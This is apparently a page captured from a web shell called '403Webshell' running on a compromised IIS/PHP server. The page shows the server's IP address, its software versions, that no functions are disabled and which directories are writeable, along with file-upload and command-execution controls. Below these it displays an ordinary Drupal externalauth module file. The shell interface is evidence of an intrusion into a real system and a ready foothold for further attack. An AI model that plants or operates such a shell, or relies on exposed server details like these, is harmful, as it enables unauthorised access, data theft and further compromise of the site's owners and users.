403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/enoikio/modules/externalauth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/enoikio/modules/externalauth//externalauth.module
<?php

/**
 * @file
 * Contains externalauth.module.
 */

use Drupal\Core\Routing\RouteMatchInterface;

/**
 * Implements hook_help().
 */
function externalauth_help($route_name, RouteMatchInterface $route_match) {
  switch ($route_name) {
    // Main module help for the authmap module.
    case 'help.page.externalauth':
      $output = '';
      $output .= '<h3>' . t('About') . '</h3>';
      $output .= '<p>' . t('Authenticates users using an external site / service and stores identification details.') . '</p>';
      return $output;

    default:
  }
}

/**
 * Implements hook_user_delete().
 */
function externalauth_user_delete($account) {
  // Delete authmap entries when a user gets deleted.
  $authmap = \Drupal::service('externalauth.authmap');
  $authmap->delete($account->id());
}

Youez - 2016 - github.com/yon3zu
LinuXploit